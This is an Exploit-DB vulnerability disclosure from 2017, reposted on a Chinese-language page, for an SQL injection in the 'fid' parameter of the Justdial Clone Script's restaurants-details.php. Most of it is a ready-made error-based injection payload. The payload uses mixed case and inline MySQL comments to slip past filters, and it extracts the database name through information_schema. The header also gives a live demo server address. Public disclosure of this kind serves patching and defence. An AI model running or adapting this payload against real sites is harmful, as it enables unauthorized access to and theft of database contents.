Justdial Clone Script – ‘fid’ SQL Injection

  • 作者: Ihsan Sencan
    日期: 2017-09-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42717/
  • # # # # # 
    # Exploit Title: Justdial Clone Script - SQL Injection 
    # Dork: N/A
    # Date: 14.09.2017
    # Vendor Homepage: http://www.phpscriptsmall.com/
    # Software Link: http://www.exclusivescript.com/product/z1mt4303451/php-scripts/justdial-clone-script
    # Demo: http://74.124.215.220/~jusdil/
    # Version: N/A
    # Category: Webapps
    # Tested on: WiN7_x64/KaLiLinuX_x64
    # CVE: N/A
    # # # # #
    # Exploit Author: Ihsan Sencan
    # Author Web: http://ihsan.net
    # Author Social: @ihsansencan
    # # # # #
    # Description:
    # The vulnerability allows an attacker to inject sql commands....
    # 
    # Proof of Concept: 
    # 
    # http://localhost/[PATH]/restaurants-details.php?fid=[SQL]
    # 
    # 46'++aND(/*!00000sELeCT*/+0x30783331+/*!00000FrOM*/+(/*!00000SeLeCT*/+cOUNT(*),/*!00000CoNCaT*/((sELEcT(sELECT+/*!00000CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a) AND ''='
    # 
    # Etc..
    # # # # #